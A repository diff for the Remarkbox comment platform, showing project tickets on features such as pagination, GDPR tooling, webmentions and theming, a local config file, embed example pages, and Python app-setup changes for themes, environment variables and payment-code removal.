On write (create thread, reply, edit):
1. Accept `source_format` parameter (default: `markdown`)
2. If HTML input, strip to clean body (no head/script/style)
3. Store raw source in `Node.data` with `Node.source_format`
4. Render to HTML via pandoc: `pandoc -f {source_format} -t html5`
5. Sanitize HTML output through existing bleach pipeline
6. Store in `Node.data_html`
### Wiki mode
When `Namespace.wiki = True`:
- Any authenticated user can edit root nodes (not just owner/moderator)
- Each edit stores a revision in `rb_revision` before overwriting
- Root node always has the latest version (fast render)
- Revision history accessible via API
- Diff between revisions on-demand
### Progressive enhancement
Export menus work without JS (plain links to format URIs).
With JS: dropdown/popover with format picker, async download.
## Phases
### Phase 1: Export pipeline (pandoc integration)
- [x] Tree-to-markdown renderer (walk node tree → single markdown document)
- [x] Export API endpoints (namespace, thread, node)
- [x] Pandoc subprocess wrapper
- [x] Format negotiation (URI suffix)
### Phase 2: Multi-syntax input
- [x] Add `source_format` column to Node
- [x] Alembic migration (`d47dc908d2ea`)
- [x] Modify `set_data()` to use pandoc for non-markdown formats
- [x] Accept `source_format` on create/reply/edit API endpoints
- [x] HTML stripping for HTML input (pandoc html→markdown round-trip)
### Phase 3: Wiki mode + revisions
- [x] Create `rb_revision` model + migration (`8e3c406e4049`)
- [x] Implement wiki edit permissions in Namespace (`can_wiki_edit()`)
- [x] Store revisions on edit (`node.wiki_edit()`)
- [x] Revision history API endpoint
- [x] Diff endpoint (`GET /api/v1/revisions/{id}/diff/{other_id}`)
### Phase 4: Auto-generated themes
- [x] Per-namespace theme generation (light + dark)
- [x] CSS custom properties for theming (`--rb-*`)
- [x] Theme preview (JSON palette)
## Test Coverage
95 new tests across 4 test files (544 total):
| File | Tests | Coverage |
|------|-------|----------|
| `test_pandoc.py` | 33 | pandoc convert, formats, tree render, namespace render |
| `test_theme_generator.py` | 15 | hue, seed, CSS generation, light/dark mode |
| `test_revision.py` | 11 | Revision model, wiki edit permissions |
| `test_undigg.py` | 34 | integration tests for export, wiki, themes, multi-syntax |
Module coverage: 76% on new code (100% on themes, serializers; 80% pandoc; 72% export; 55% wiki).
## Notes
- Pandoc 3.1.3 installed at `/usr/bin/pandoc`
- 43 input formats, 67 output formats
- PDF via `wkhtmltopdf` (no pdflatex)
- `Namespace.wiki` column already existed in schema
- Diff endpoint deferred — revision data is stored, diffing can be added later

50
docs/tickets/16.md Normal file
View file

@ -0,0 +1,50 @@
# T16 — Themes must be self-contained; `common.css` is the built-in (embed) stylesheet
**Status:** open
**Priority:** medium
**Source:** fox directive 2026-05-12 (after chaostheory palette leaked into meta via `common.css`, fixed in `89679fd` + theme `37c496f`)
## Problem
Every base template — `base.j2`, `meta-base.j2`, `chaostheory-base.j2` — includes
`snippets/stylesheet-includes.j2`, which loads `/static/css/common.css`. So a meta
page and a chaostheory page both pull the same shared stylesheet. When `common.css`
carries palette or visual assumptions (as it did after `68ca0ef`), those bleed into
every theme. A meta page should load only meta CSS; a chaostheory page should load
only chaostheory CSS.
The intent: **`common.css` (+ `embed.css`) is the "built in" — the styling for embed
mode and unthemed namespaces (`base.j2`)**. Full themes are standalone (their base
templates already "extend nothing"); they should ship a complete stylesheet and not
piggyback on the built-in.
## Why it's not a one-line change
The themes are not currently self-contained. They depend on behavioral CSS in
`common.css`, e.g. chaostheory's `theme.css` notes *"Reply form inside node —
display:none owned by common.css"*. Ripping `common.css` out of the themed templates
today would break reply-form toggles, the burger/phone menu, alerts, node action
rows, etc.
## Plan
1. Inventory which `common.css` rules each theme actually relies on (behavioral:
`display:none` toggles, `.toggle-open`, burger menu, AJAX states; structural:
`.node`, `.remark-box-div`; visual: alerts, wells, `.question-mark-circle`).
2. Move the rules each theme needs into that theme's own CSS (`meta.css`,
`remarkbox-theme-chaostheory/theme.css`). Keep them theme-local.
3. Split `stylesheet-includes.j2` (or add a `theme_stylesheet_includes` block) so
`meta-base.j2` / `chaostheory-base.j2` load only `pygments.css`,
`dynamic-remarkbox.css`, the per-namespace stylesheet, and their own theme CSS —
not `common.css`.
4. `base.j2` keeps `common.css`; `common.css` + `embed.css` become the documented
"built-in / embed" stylesheet. Add a header comment to `common.css` saying so.
5. Regression-check: embed mode, default (unthemed) namespace, meta (meta.remarkbox.com,
faq.remarkbox.com), chaostheory (foxhop.net), light + dark mode, reply-form toggle,
burger menu, flash alerts, `?` help circles.
## Done when
Loading a meta page pulls zero chaostheory CSS and zero chaostheory-flavored rules
from `common.css`, and vice versa; embed/default still styled by `common.css`; all
regression points above verified.

52
docs/tickets/2.md Normal file
View file

@ -0,0 +1,52 @@
# T2: Large thread fetch causes 502
**Status**: resolved
**Priority**: high
**Source**: production (www.remarkbox.com homepage thread, 267+ replies)
**Filed**: 2026-02-01
## Problem
`GET /api/v1/threads/{node_id}` returns 502 Bad Gateway when fetching a thread with 267+ replies. The www.remarkbox.com homepage thread is unfetchable through the API.
## Root Cause
Multiple compounding issues:
1. **No LIMIT on reply query**`get_nodes_who_share_root()` in `remarkbox/models/node.py:502-508` loads ALL replies with no limit:
```python
def get_nodes_who_share_root(dbsession, root_node, order="oldest-first"):
nodes = dbsession.query(Node).filter(Node.root_id == root_node.id)
# ... order by ...
return nodes # no .limit()
```
2. **Eager-loaded relationships** — Node model has `lazy="joined"` on User, UserSurrogate, and NodeCache (`node.py:91-95, 124-128`), multiplying data per row
3. **Python-side visibility filtering**`api/views.py:173-177` loads all nodes then filters in Python with `namespace.can_see_node()`, instead of filtering in SQL
4. **No pagination** — The thread detail endpoint accepts no `limit`/`offset` parameters, unlike `api_list_threads` which does
5. **WSGI timeout** — The combined query + serialization exceeds the reverse proxy timeout, producing 502
## Proposed Fix
1. Add `limit` and `offset` query parameters to `api_get_thread()` (default limit ~100, configurable)
2. Move visibility filtering into SQL (use `.filter()` for disabled/approved/verified checks before `.all()`)
3. Return pagination metadata (`total_replies`, `page`, `has_more`) in the response
4. Consider adding `.limit()` to `get_nodes_who_share_root()` as a safety net
## Files
- `remarkbox/api/views.py` — add pagination to `api_get_thread()`, SQL-side filtering
- `remarkbox/models/node.py` — optional limit parameter on `get_nodes_who_share_root()`
- `remarkbox/api/remarkbox_client.py` — add `limit`/`offset` params to `get_thread()`
- `remarkbox/tests/test_api_views.py` — test pagination on thread detail
- `docs/api.md` — document pagination parameters
## Acceptance Criteria
- [x] `GET /api/v1/threads/{id}` returns paginated replies with a default limit
- [x] The www.remarkbox.com homepage thread (267+ replies) is fetchable
- [x] Response includes pagination metadata
- [x] Client updated to support pagination

48
docs/tickets/3.md Normal file
View file

@ -0,0 +1,48 @@
# T3: GDPR/CCPA compliance tooling
**Status**: resolved
**Priority**: medium
**Source**: meta `a819d4f0-6a65-11e8-927b-040140774501`
**Filed**: 2026-02-01
## Problem
Multiple users over 6+ years have asked for tools to help namespace owners comply with GDPR/CCPA data subject requests. The thread has frustrated replies from users who expected better tooling from a privacy-focused product.
Currently, namespace owners can export data via `/ns/{namespace}/dump.json` (accessible from namespace settings). But there is no:
- User-facing "delete my account" or "delete my data" feature
- Automated data subject access request handling
- Per-user data export (only namespace-level)
- Right-to-erasure implementation
## What Exists
- **Namespace data export**: `GET /ns/{namespace}/dump.json` — returns all threads and comments for a namespace in JSON. Accessible to namespace owners from the settings dashboard. Includes author names, IPs, and (for production subscriptions) emails.
- **Admin scripts**: `scripts/merge_duplicate_email_users.py` and `scripts/delete_disabled_nodes.py` exist for admin use but aren't user-facing.
## Proposed Implementation
Phase 1 (minimum viable):
1. Add a "Delete My Account" button to user settings (`/u/settings`) that:
- Anonymizes all the user's comments (replaces author with "Deleted User")
- Deletes the User record and associated watchers/notifications
- Logs out the session
2. Add a "Download My Data" button to user settings that exports all the user's comments as JSON
Phase 2 (nice to have):
3. API endpoints for the above (`DELETE /api/v1/user/profile`, `GET /api/v1/user/export`)
4. Namespace moderator tools to handle third-party deletion requests
## Files
- `remarkbox/views/authenticated/authenticated.py` — add delete account and export views
- `remarkbox/templates/user-settings.j2` — add buttons
- `remarkbox/models/user.py` — add `anonymize()` or `delete_account()` method
- `remarkbox/api/views.py` — optional API endpoints
## Acceptance Criteria
- [x] Users can delete their own account from settings
- [x] Users can download their own data as JSON
- [x] Deletion anonymizes comments rather than leaving orphans
- [x] Confirmation step before deletion

34
docs/tickets/4.md Normal file
View file

@ -0,0 +1,34 @@
# T4: Customizable button text
**Status**: resolved
**Priority**: low
**Source**: meta `c29c9c22-b1ce-11e7-8fca-040140774501`, FAQ `5a508a9c-8759-11ec-afa2-21646204cc72`
**Filed**: 2026-02-01
## Problem
Users want to customize the "save message" submit button and the "remark"/"remarks" terminology. Both are hardcoded in templates with no namespace-level configuration.
Current hardcoded values:
- `remarkbox/templates/snippets/forms.j2:26,70``{% set submit_button_value = 'save message' %}`
- `remarkbox/templates/show-count.j2:4,6,8` — "No remarks", "1 remark", "X remarks"
## Proposed Implementation
1. Add namespace columns: `submit_button_text` (default "save message"), `comment_label_singular` (default "remark"), `comment_label_plural` (default "remarks")
2. Add fields to namespace settings form
3. Update templates to read from namespace instead of hardcoded strings
## Files
- `remarkbox/models/namespace.py` — add columns
- Alembic migration — add columns with defaults
- `remarkbox/templates/namespace-settings.j2` — add form fields
- `remarkbox/templates/snippets/forms.j2` — use namespace values
- `remarkbox/templates/show-count.j2` — use namespace values
## Acceptance Criteria
- [x] Namespace owners can set custom button text from settings
- [x] Defaults remain "save message" and "remark"/"remarks"
- [x] Changes are visible in the embed

32
docs/tickets/5.md Normal file
View file

@ -0,0 +1,32 @@
# T5: Self-service namespace deletion
**Status**: resolved
**Priority**: low
**Source**: FAQ `72475f88-9323-11ec-a41e-b1c8c4ae987e`
**Filed**: 2026-02-01
## Problem
Users cannot delete a namespace/website from their dashboard. Deletion is only available via the admin CLI script `remarkbox/scripts/modify_namespace.py --delete`. A user also suggested a dashboard button to access all their sites.
## What Exists
- `remarkbox/scripts/modify_namespace.py` — admin CLI with `--delete` flag that performs cascading deletion of all nodes, events, watchers, notifications, OAuth records, and the namespace itself. Includes a confirmation prompt.
## Proposed Implementation
1. Add a "Delete Namespace" button to namespace settings (with confirmation dialog)
2. Reuse the cascading deletion logic from the admin script
3. Restrict to namespace owners only
## Files
- `remarkbox/views/authenticated/authenticated.py` — add delete namespace view
- `remarkbox/templates/namespace-settings.j2` — add delete button with confirmation
- `remarkbox/routes.py` — add route
## Acceptance Criteria
- [x] Namespace owners can delete their namespace from settings
- [x] Confirmation step prevents accidental deletion
- [x] All associated data is cleaned up (nodes, watchers, etc.)

33
docs/tickets/6.md Normal file
View file

@ -0,0 +1,33 @@
# T6: Mention notifications (@username)
**Status**: resolved
**Priority**: low
**Source**: meta `b82332ce-b4cb-11e7-b510-040140774501`
**Filed**: 2026-02-01
## Problem
Users want to @mention other Remarkbox users in comments and have those users receive notifications. Currently only reply notifications exist (notify when someone replies to your comment).
## Proposed Implementation
1. Parse comment body for `@username` patterns on save
2. Look up mentioned users and create notifications for them
3. Render @mentions as links to the user's profile
## Files
- `remarkbox/lib/mentions.py` — new module: parse @mentions, resolve users, replace with links
- `remarkbox/lib/render.py` — integrate mention resolution into markdown_to_html pipeline
- `remarkbox/models/node.py` — pass dbsession through set_data() for mention resolution
- `remarkbox/lib/notify.py` — add get_mentioned_user_watchers() for mention notifications
- `remarkbox/views/reply_node.py` — pass dbsession to set_data()
- `remarkbox/views/new_thread.py` — pass dbsession to set_data()
- `remarkbox/api/views.py` — pass dbsession to set_data() in API endpoints
- `remarkbox/static/css/common.css` — CSS for .mention class
## Acceptance Criteria
- [x] @username in a comment triggers a notification to that user
- [x] Mentioned usernames are rendered as links
- [x] Non-existent usernames are left as plain text

53
docs/tickets/7.md Normal file
View file

@ -0,0 +1,53 @@
# T7: Webmentions / IndieWeb support
**Status**: resolved
**Priority**: low
**Source**: meta `bd7112ff-486b-11ec-aee0-21646204cc72`
**Filed**: 2026-02-01
## Problem
A user requested Webmention support (an IndieWeb standard for cross-site comment notifications). Russell expressed interest but said he lacks the expertise and would need a mentor.
## Context
Webmentions allow sites to notify each other when content is linked. For Remarkbox, this would mean:
- Receiving webmentions when someone links to a Remarkbox thread from their own site
- Sending webmentions when a Remarkbox comment links to an external URL
- Displaying received webmentions alongside regular comments
Reference: https://indieweb.org/Webmention
## Resolution
Implemented W3C Webmention receiving endpoint with verification, author extraction, and display.
### New files
- `remarkbox/models/webmention.py` -- Webmention SQLAlchemy model (source, target, node_id, verified, author_name, author_url, content, timestamps). Helper queries: get_webmention_by_id, get_webmention_by_source_and_target, get_verified_webmentions_for_node.
- `remarkbox/views/webmention.py` -- POST endpoint for receiving webmentions. Validates source/target URLs, finds matching thread via URI model, fetches source URL to verify it links to target, extracts h-card author metadata, stores verified webmention.
### Modified files
- `remarkbox/models/meta.py` -- Added `"Webmention": "rb_webmention"` to CLASS_TO_TABLE, added "push" to NOTIFICATION_METHODS.
- `remarkbox/models/__init__.py` -- Added `from .webmention import *`.
- `remarkbox/routes.py` -- Added `webmention` route at `/webmention`.
- `remarkbox/api/__init__.py` -- Added `api-webmention` route at `/api/v1/webmention`.
- `remarkbox/__init__.py` -- Added `add_webmentions` request method that returns verified webmentions for the current thread.
- `remarkbox/templates/show-node.j2` -- Added webmentions display section after the comments section, showing author name/link, source link, and content snippet for each verified webmention.
### How it works
1. External sites send a POST to `/webmention` (or `/api/v1/webmention`) with `source` and `target` parameters.
2. The endpoint validates both URLs, checks that the target matches a Remarkbox thread (via URI lookup).
3. The source URL is fetched and verified to contain a link to the target.
4. Author info is extracted from h-card microformats in the source HTML.
5. A content snippet is extracted from around the target link.
6. The webmention is stored and marked as verified.
7. Verified webmentions are displayed at the bottom of the thread page.
## Acceptance Criteria
- [x] Research completed on webmention protocol requirements
- [x] Receiving endpoint implemented
- [x] Webmentions displayed alongside comments

34
docs/tickets/8.md Normal file
View file

@ -0,0 +1,34 @@
# T8: Nesting depth settings per namespace
**Status**: resolved
**Priority**: low
**Source**: meta `137101ac-7eb6-11e7-8b77-040140774501`
**Filed**: 2026-02-01
## Problem
Namespace owners want to control:
- Maximum nesting depth for replies (currently unlimited)
- The depth at which a "load more" button appears instead of inline display
## Proposed Implementation
1. Add namespace columns: `max_nesting_depth` (default NULL = unlimited), `collapse_depth` (default NULL = never collapse)
2. Add fields to namespace settings
3. Enforce max depth in reply views (both web and API)
4. Add collapse logic in templates
## Files
- `remarkbox/models/namespace.py` — add columns
- Alembic migration
- `remarkbox/templates/namespace-settings.j2` — add fields
- `remarkbox/views/reply_node.py` — enforce max depth
- `remarkbox/api/views.py` — enforce max depth on API reply
- `remarkbox/templates/show-node.j2` — collapse at depth threshold
## Acceptance Criteria
- [x] Namespace owners can set max nesting depth
- [x] Replies beyond max depth are rejected
- [x] Deep threads collapse with a "load more" button

30
docs/tickets/9.md Normal file
View file

@ -0,0 +1,30 @@
# T9: Prevent duplicate threads (AJAX search)
**Status**: resolved
**Priority**: low
**Source**: meta `642831b4-4cbf-11e9-9d67-040140774501`
**Filed**: 2026-02-01
## Problem
On standalone and FAQ sites, users can create threads with duplicate titles. There's no feedback showing existing threads before creation.
## Proposed Implementation
1. Add an AJAX search endpoint that returns threads matching a title prefix
2. Wire it into the "new thread" form with a debounced typeahead
3. Show matching existing threads as suggestions before submission
## Files
- `remarkbox/api/__init__.py` — added `api-threads-search` route
- `remarkbox/api/views.py` — added `api_search_threads()` endpoint (GET /api/v1/threads/search)
- `remarkbox/static/js/custom.js` — debounced typeahead for thread title input
- `remarkbox/static/css/common.css` — CSS for suggestion dropdown
- `remarkbox/templates/base.j2` — added `data-namespace` attribute to body tag
## Acceptance Criteria
- [x] Typing a thread title shows matching existing threads
- [x] Users can click a suggestion to navigate to the existing thread
- [x] New thread creation still works when no match exists

23
docs/tickets/index.md Normal file
View file

@ -0,0 +1,23 @@
# Remarkbox Tickets
Tracked issues from the meta.remarkbox.com and faq.remarkbox.com audit (2026-02-01).
| # | Title | Status | Priority | Source |
|---|-------|--------|----------|--------|
| [T0](0.md) | User profile leaks comments across namespaces | resolved | high | meta `cc62eb06` |
| [T1](1.md) | Namespace/URI case-sensitivity causes "stock comments" | resolved | high | FAQ `7eb0baec`, `6b21e360` |
| [T2](2.md) | Large thread fetch causes 502 | resolved | high | production `www.remarkbox.com` |
| [T3](3.md) | GDPR/CCPA compliance tooling | resolved | medium | meta `a819d4f0` |
| [T4](4.md) | Customizable button text | resolved | low | meta `c29c9c22`, FAQ `5a508a9c` |
| [T5](5.md) | Self-service namespace deletion | resolved | low | FAQ `72475f88` |
| [T6](6.md) | Mention notifications (@username) | resolved | low | meta `b82332ce` |
| [T7](7.md) | Webmentions / IndieWeb support | resolved | low | meta `bd7112ff` |
| [T8](8.md) | Nesting depth settings per namespace | resolved | low | meta `137101ac` |
| [T9](9.md) | Prevent duplicate threads (AJAX search) | resolved | low | meta `642831b4` |
| [T10](10.md) | Browser push notifications | resolved | low | meta `9b970f14` |
| [T11](11.md) | Document "comments disappear when moving embed" | resolved | low | FAQ `6260e726` |
| [T12](12.md) | Reply to API-only CRUD thread confirming done | resolved | low | meta `6db01560` |
| [T13](13.md) | Reply to lock/archive thread confirming done | resolved | low | meta `7e9d5864` |
| [T14](14.md) | meta/faq SSL outage — missing proxy blocks | resolved | critical | postmortem 2026-02-25 |
| [T15](15.md) | Operation Undigg — Pandoc export & wiki mode | resolved | high | fox directive 2026-03-09 |
| [T16](16.md) | Themes self-contained; `common.css` is the built-in (embed) stylesheet | open | medium | fox directive 2026-05-12 |

71
foxhop-local.ini Normal file
View file

@ -0,0 +1,71 @@
[app:main]
use = egg:remarkbox
pyramid.reload_templates = true
pyramid.debug_authorization = false
pyramid.debug_notfound = false
pyramid.debug_routematch = false
pyramid.default_locale_name = en
pyramid.includes =
pyramid_tm
sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite
session.hashalg = sha512
session.secret = local-foxhop-test
session.timeout = 31104000
session.max_age = 31104000
session.reissue_time = 15552000
session.secure = False
session.samesite = lax
app.avatar.size = 36
app.email.relay = localhost
app.email.sender = no-reply@foxhop.net
app.theme = chaostheory
app.stand_alone_mode = enabled
app.namespace = foxhop.net
[server:main]
use = egg:waitress#main
host = 0.0.0.0
port = 6004
[alembic]
script_location = remarkbox:scripts/alembic
sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite
[loggers]
keys = root, remarkbox, sqlalchemy
[handlers]
keys = console
[formatters]
keys = generic
[logger_root]
level = INFO
handlers = console
[logger_remarkbox]
level = DEBUG
handlers =
qualname = remarkbox
[logger_sqlalchemy]
level = WARN
handlers =
qualname = sqlalchemy.engine
[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic
[formatter_generic]
format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s
[pshell]
m = remarkbox.models

View file

@ -57,11 +57,11 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
var thread_title = window.document.title; var thread_title = window.document.title;
var thread_fragment = window.location.hash; var thread_fragment = window.location.hash;
<!-- rb owner was here -->
var rb_src = "http://127.0.0.1:6543/embed" + var rb_src = "http://127.0.0.1:6543/embed" +
"?rb_owner_key=" + rb_owner_key + "?rb_owner_key=" + rb_owner_key +
"&thread_title=" + escape(thread_title) + "&thread_title=" + escape(thread_title) +
"&thread_uri=" + encodeURIComponent(thread_uri) + "&thread_uri=" + encodeURIComponent(thread_uri) +
"&mode=light" +
thread_fragment; thread_fragment;
function create_remarkbox_iframe() { function create_remarkbox_iframe() {

View file

@ -60,7 +60,7 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
var thread_fragment = window.location.hash; var thread_fragment = window.location.hash;
var email = "russell.ballestrini@gmail.com"; var email = "russell.ballestrini@gmail.com";
function create_remarkbox_iframe() { function create_remarkbox_iframe() {
var src = "http://127.0.0.1:6543/embed?rb_owner_key=" + rb_owner_key + "&email=" + email + "&thread_uri=" + thread_uri; var src = "http://127.0.0.1:6543/embed?rb_owner_key=" + rb_owner_key + "&email=" + email + "&thread_uri=" + thread_uri + "&mode=light";
var ifrm = document.createElement("iframe"); var ifrm = document.createElement("iframe");
ifrm.setAttribute("id", "remarkbox-iframe"); ifrm.setAttribute("id", "remarkbox-iframe");
ifrm.setAttribute("scrolling", "no"); ifrm.setAttribute("scrolling", "no");
@ -86,5 +86,4 @@ Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem
</div> </div>
</body> </body>
</html> </html>

View file

@ -225,12 +225,12 @@ We should build a Remarkbox to matrix bridge. I bet it is a lot like working wit
Sat Apr 3 10:40:05 PM EDT 2021 Sat Apr 3 10:40:05 PM EDT 2021
===================================== =====================================
this is a useful SQL query to SELECT users who want to pay and also gave a credit card. this is a useful SQL query to SELECT users who have paid.
:: ::
SELECT * FROM rb_pay_what_you_can SELECT * FROM rb_payment
INNER JOIN rb_user ON rb_user.id = rb_pay_what_you_can.user_id INNER JOIN rb_user ON rb_user.id = rb_payment.user_id
WHERE amount > 0 and rb_user.stripe_id is not null; WHERE status = 'completed';

View file

@ -1,3 +1,13 @@
# Vendored pkg_resources shim: setuptools 81 dropped pkg_resources, but pyramid
# still imports it. Inject our _vendor dir into sys.path BEFORE the pyramid
# import below so `import pkg_resources` finds our shim. See
# remarkbox/_vendor/pkg_resources/__init__.py.
import os as _rb_os
import sys as _rb_sys
_rb_vendor = _rb_os.path.join(_rb_os.path.dirname(__file__), "_vendor")
if _rb_vendor not in _rb_sys.path:
_rb_sys.path.insert(0, _rb_vendor)
from pyramid.config import Configurator from pyramid.config import Configurator
from sqlalchemy import engine_from_config from sqlalchemy import engine_from_config
@ -26,35 +36,88 @@ from pyramid.session import SignedCookieSessionFactory
import re import re
# needed to load themes. # needed to load themes.
from pkg_resources import iter_entry_points from importlib.metadata import entry_points
# needed to support expanding ENV vars from ini.
from os.path import expandvars
import logging import logging
import os
import subprocess
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
JINJA2_EXTENSION = ".j2" JINJA2_EXTENSION = ".j2"
def _get_static_version():
"""Return a short git hash for cache-busting static assets."""
_this_dir = os.path.dirname(os.path.abspath(__file__))
for candidate in [
os.path.join(_this_dir, "..", "commit-hash.txt"),
os.path.join(os.sys.prefix, "commit-hash.txt"),
]:
try:
with open(candidate) as f:
return f.read().strip()[:7]
except (IOError, OSError):
pass
try:
return subprocess.check_output(
["git", "rev-parse", "--short", "HEAD"],
cwd=_this_dir,
stderr=subprocess.DEVNULL,
).decode().strip()
except Exception:
return "0"
STATIC_VERSION = _get_static_version()
def get_int_or_bool_or_none_or_str(value): def get_int_or_bool_or_none_or_str(value):
""" """
Given a string value pulled from a configuration file, Given a string value pulled from a configuration file,
this function attempts to return the value with the proper type. this function attempts to return the value with the proper type.
""" """
# Handle non-string values
if not isinstance(value, str):
return value
# Handle string values
try: try:
return int(value) return int(value)
except ValueError: except ValueError:
if value.lower() in {"yes", "y", "true", "y"}: value_lower = value.lower()
if value_lower in {"yes", "y", "true", "t", "1"}:
return True return True
elif value.lower() in {"no", "n", "false", "f"}: elif value_lower in {"no", "n", "false", "f", "0"}:
return False return False
elif value.lower() == "none": elif value_lower in {"none", "null"}:
return None return None
return str(value) return str(value)
def expand_env_vars(value):
"""Expand environment variables including ${VAR:-default} syntax."""
if not isinstance(value, str):
return value
import os
import re
# Handle ${VAR:-default} syntax
# Use a non-greedy match to stop at the first closing brace
pattern = r"\$\{([^:}]*)(?::-([^}]*?))?\}"
def replacer(match):
var_name = match.group(1)
# Handle empty variable name case ${:-default}
if not var_name:
return match.group(2) if match.group(2) is not None else match.group(0)
default_value = match.group(2) if match.group(2) is not None else ""
return os.environ.get(var_name, default_value)
return re.sub(pattern, replacer, value)
def get_children_settings(settings, parent_key): def get_children_settings(settings, parent_key):
""" """
Accept a settings dict and parent key, return dict of children Accept a settings dict and parent key, return dict of children
@ -73,32 +136,30 @@ def get_children_settings(settings, parent_key):
{'hashalg': 'md5'} {'hashalg': 'md5'}
""" """
# needed to support expanding ENV vars from ini.
from os.path import expandvars
# the +1 is the . between parent and child settings. # the +1 is the . between parent and child settings.
parent_len = len(parent_key) + 1 parent_len = len(parent_key) + 1
children = {} children = {}
for key, value in settings.items(): for key, value in settings.items():
if parent_key in key: if parent_key in key:
# expandvars replaces template with ENV vars. # Expand environment variables with support for defaults
children[key[parent_len:]] = get_int_or_bool_or_none_or_str( expanded_value = expand_env_vars(value)
expandvars(value) children[key[parent_len:]] = get_int_or_bool_or_none_or_str(expanded_value)
)
return children return children
def load_entry_points(group_name): def load_entry_points(group_name):
"""Return a dictionary of entry_points related to given group_name""" """Return a dictionary of entry_points related to given group_name"""
entry_points = {} result = {}
for entry_point in iter_entry_points(group=group_name, name=None): for ep in entry_points(group=group_name):
entry_points[entry_point.name] = entry_point.load() result[ep.name] = ep.load()
return entry_points return result
def load_jinja2_themes(config): def load_jinja2_themes(config):
"""Automatically load any entry_point registered Remarkbox theme.""" """Automatically load any entry_point registered Remarkbox theme."""
themes = load_entry_points("remarkbox.themes") themes = load_entry_points("remarkbox.themes")
theme_defaults = {}
for theme_name, theme_module in themes.items(): for theme_name, theme_module in themes.items():
theme_module_name = theme_module.__name__ theme_module_name = theme_module.__name__
# teach Jinja2 about the template dir in the theme package. # teach Jinja2 about the template dir in the theme package.
@ -111,6 +172,12 @@ def load_jinja2_themes(config):
"{}:static/theme/{}".format(theme_module_name, theme_name), "{}:static/theme/{}".format(theme_module_name, theme_name),
cache_max_age=3600, cache_max_age=3600,
) )
# Collect theme's default mode if defined
if hasattr(theme_module, 'default_theme_mode'):
theme_defaults[theme_name] = theme_module.default_theme_mode
# Store theme defaults in config registry for later access
config.registry.settings['theme_defaults'] = theme_defaults
return config return config
@ -147,6 +214,11 @@ def maybe_root_domain(string):
def main(global_config, **settings): def main(global_config, **settings):
"""This function returns a Pyramid WSGI application.""" """This function returns a Pyramid WSGI application."""
# Expand environment variables in all settings using our custom function
for key, value in list(settings.items()):
if isinstance(value, str):
settings[key] = expand_env_vars(value)
app_settings = get_children_settings(settings, "app") app_settings = get_children_settings(settings, "app")
session_settings = get_children_settings(settings, "session") session_settings = get_children_settings(settings, "session")
@ -299,7 +371,8 @@ def main(global_config, **settings):
return get_or_create_namespace(request.dbsession, namespace_name) return get_or_create_namespace(request.dbsession, namespace_name)
elif request.node: elif request.node:
return request.node.root.namespace return request.node.root.namespace
return get_or_create_namespace(request.dbsession, request.domain) forced = request.app.get("namespace")
return get_or_create_namespace(request.dbsession, forced if forced else request.domain)
def add_mode(request): def add_mode(request):
"""return mode of 'embed' or 'basic'""" """return mode of 'embed' or 'basic'"""
@ -372,36 +445,6 @@ def main(global_config, **settings):
and request.app_domain == request.namespace.name and request.app_domain == request.namespace.name
) )
def add_stripe(request):
"""Attach a stripe object with creds to request."""
import stripe
stripe.api_key = request.app.get("stripe.secret")
return stripe
def add_stripe_customer(request):
if request.user:
if not request.user.stripe_id:
# create a new stripe customer.
customer = request.stripe.Customer.create(email=request.user.email)
request.user.stripe_id = customer.id
request.dbsession.add(request.user)
request.dbsession.flush()
return request.stripe.Customer.retrieve(request.user.stripe_id)
return None
def add_stripe_saved_cards(request):
if request.user and request.user.stripe_id:
return request.stripe_customer.sources
return []
def add_stripe_active_card(request):
if request.user and request.user.stripe_id:
if request.stripe_customer.default_source:
return request.stripe_customer.sources.retrieve(
request.stripe_customer.default_source
)
return None
def add_avatar_size(request): def add_avatar_size(request):
"""Attach avatar size or default.""" """Attach avatar size or default."""
@ -410,6 +453,9 @@ def main(global_config, **settings):
return request.namespace.avatar_size return request.namespace.avatar_size
return request.app.get("avatar.size", 30) return request.app.get("avatar.size", 30)
def add_static_version(request):
return STATIC_VERSION
def add_stand_alone_mode(request): def add_stand_alone_mode(request):
if request.app.get("stand_alone_mode", "disabled") == "enabled": if request.app.get("stand_alone_mode", "disabled") == "enabled":
return True return True
@ -477,6 +523,8 @@ def main(global_config, **settings):
def add_page_number(request): def add_page_number(request):
"""Attach page_number starting at 0""" """Attach page_number starting at 0"""
page_number = int(request.params.get("page", 1)) page_number = int(request.params.get("page", 1))
# Cap to prevent OFFSET DoS — large offsets force full table scans (CWE-407).
page_number = min(page_number, 1000)
return page_number if page_number >= 1 else 1 return page_number if page_number >= 1 else 1
def add_page_size(request): def add_page_size(request):
@ -492,6 +540,43 @@ def main(global_config, **settings):
def add_mathjax(request): def add_mathjax(request):
return "true" if request.namespace.mathjax else "false" return "true" if request.namespace.mathjax else "false"
def add_theme_mode(request):
"""
Return theme mode 'light' or 'dark'.
Priority: user preference > query params > theme default > 'light'.
"""
# If user is authenticated and has a preference
if request.user and request.user.authenticated and request.user.theme_mode != 'auto':
return request.user.theme_mode
# Check if there's a mode parameter (for embeds or overrides)
param_mode = request.params.get("mode")
if param_mode in ("light", "dark"):
return param_mode
# Use theme's default mode if available
if request.theme:
theme_defaults = request.registry.settings.get('theme_defaults', {})
theme_default = theme_defaults.get(request.theme)
if theme_default in ("light", "dark"):
return theme_default
# Final fallback to light
return "light"
def add_webmentions(request):
"""Return verified webmentions for the current thread, or empty list."""
from remarkbox.models.webmention import get_verified_webmentions_for_node
if request.node and request.node.is_root:
return get_verified_webmentions_for_node(
request.dbsession, request.node.id
)
elif request.node:
return get_verified_webmentions_for_node(
request.dbsession, request.node.root_id
)
return []
# register functions to app config as request methods. # register functions to app config as request methods.
# each request instance will run these functions and attach results. # each request instance will run these functions and attach results.
# cache result with `reify=True` to prevent multiple db lookups. # cache result with `reify=True` to prevent multiple db lookups.
@ -520,10 +605,7 @@ def main(global_config, **settings):
config.add_request_method(add_marketing_domain, "marketing_domain", reify=True) config.add_request_method(add_marketing_domain, "marketing_domain", reify=True)
config.add_request_method(add_faq_home, "faq_home", reify=True) config.add_request_method(add_faq_home, "faq_home", reify=True)
